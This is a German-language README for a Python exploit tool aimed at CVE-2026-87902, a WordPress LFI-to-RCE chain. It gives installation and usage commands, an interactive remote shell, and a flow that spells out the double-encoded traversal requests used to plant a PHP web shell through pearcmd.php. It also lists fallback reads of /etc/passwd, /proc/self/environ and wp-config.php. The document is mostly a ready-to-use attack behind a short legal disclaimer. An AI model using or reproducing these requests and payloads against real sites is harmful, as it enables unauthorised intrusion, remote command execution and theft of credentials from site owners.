Python-Exploit für CVE-2026-87902, eine WordPress-Core-LFI-zu-RCE-Kette. Fingerprintet Versionen, schreibt eine PHP-Shell über pearcmd und bietet Kommandoausführung oder LFI-Fallback.
⚠️ RECHTLICHER HINWEIS Die Verwendung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine schriftliche Testgenehmigung haben, ist illegal und nach Cyberkriminalitätsgesetzen strafbar. Der Autor übernimmt keine Verantwortung für Missbrauch.
| Feld | Wert |
|---|
| CVE | CVE-2026-87902 |
| Typ | Local File Inclusion (LFI) → Remote Code Execution (RCE) |
| CWE | CWE-98 |
| CVSS v3.1 | 9.2 (Kritisch) |
| Angriffsvektor | Netzwerk (Nicht authentifiziert) |
| Betroffen | WordPress 4.7.0 – 7.1.1 |
| Gepatcht | WordPress 7.1.2 (und Backports bis 4.7.37) |
| Ursache | get_page_template() ruft validate_file() nicht auf, nachdem der pagename-Parameter URL-dekodiert wurde, wodurch doppelt kodierte Traversierung (%252E%252E%252F) die Bereinigung umgehen und beliebige .php-Dateien außerhalb des Theme-Verzeichnisses eingebunden werden können. |
Für vollständiges RCE müssen alle folgenden Bedingungen erfüllt sein:
page-*-Verzeichnis (z. B. page-templates/)pearcmd.php ist vorhanden und für den Webserver-Benutzer lesbar (Standard in offiziellen PHP-Docker-Images und vielen cPanel-Installationen mit PHP < 8.5)register_argc_argv=On (Standard in PHP < 8.5)Wenn eine dieser Bedingungen fehlt, fällt der Exploit auf LFI-only-Dateilesen zurück.
exploit.py # Haupt-Exploit-Skript README.md # Diese Datei report.json # (optional) Ausgabebericht bei Verwendung von -o
Installation:
apt update
apt upgrade
apt install python
apt install git
pip install requests
git clone https://github.com/zyphorixofficialmain-lab/cve-2026-87902
cd cve-2026-87902
python3 exploit.py -t https://site.com -v
Dies wird:
· WordPress-Version und aktives Theme fingerprinten · Verwundbaren Versionsbereich verifizieren · Eine veröffentlichte Seiten-ID lokalisieren (REST → Sitemap → Brute Force) · Versuchen, eine PHP-Shell über pearcmd.php zu schreiben · Versuchen, die Shell einzubinden und id auszuführen · Bei fehlgeschlagenem RCE auf LFI bei sensiblen Dateien zurückfallen
python3 exploit.py -t https://site.com -c "id"
python3 exploit.py -t https://site.com -i -v
Innerhalb der Shell:
wp$ id
wp$ uname -a
wp$ cat /etc/passwd
wp$ exit
python3 exploit.py -t https://site.com -o report.json -v
python3 exploit.py -t https://site.com -c "whoami" -o report.json -v
🧾 CLI-Referenz
Flag Lang Beschreibung -t --target Erforderlich. Ziel-WordPress-URL (ohne abschließenden Schrägstrich). -c --command Einen einzelnen Shell-Befehl nach RCE ausführen. -i --interactive Eine interaktive Shell nach RCE öffnen. -v --verbose Detaillierten Fortschritt ausgeben. -o --output Den finalen Bericht als JSON unter dem angegebenen Pfad speichern. -h --help Hilfe anzeigen.
🔄 Exploit-Ablauf
[1] Fingerprint
├─ WordPress-Version (meta generator / asset ?ver=)
└─ Aktives Theme (/wp-content/themes/<name>/)
[2] Versionsprüfung
└─ 4.7.0 – 7.1.1 ? weiter : warnen & weiter
[3] Seiten-ID finden
├─ REST: /wp-json/wp/v2/pages
├─ Sitemap: /wp-sitemap.xml
└─ Brute Force: /?page_id=1..30
[4] page-*-Verzeichnis prüfen
├─ page-templates
├─ page-template
├─ pages
├─ templates
└─ page
[5] Shell über pearcmd schreiben
└─ POST /?+config-create+/&page_id=<id>&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
body: root=<?php system($_GET['c']); ?>
[6] Shell einbinden
└─ GET /?page_id=<id>&pagename=templates%252F..%252F..%252Ftmp%252F<shell>.php&c=id
[7] Fallback LFI (wenn RCE fehlschlägt)
├─ /etc/passwd
├─ /etc/hostname
├─ /proc/self/environ
├─ /proc/version
├─ wp-config.php
└─ ../.. Varianten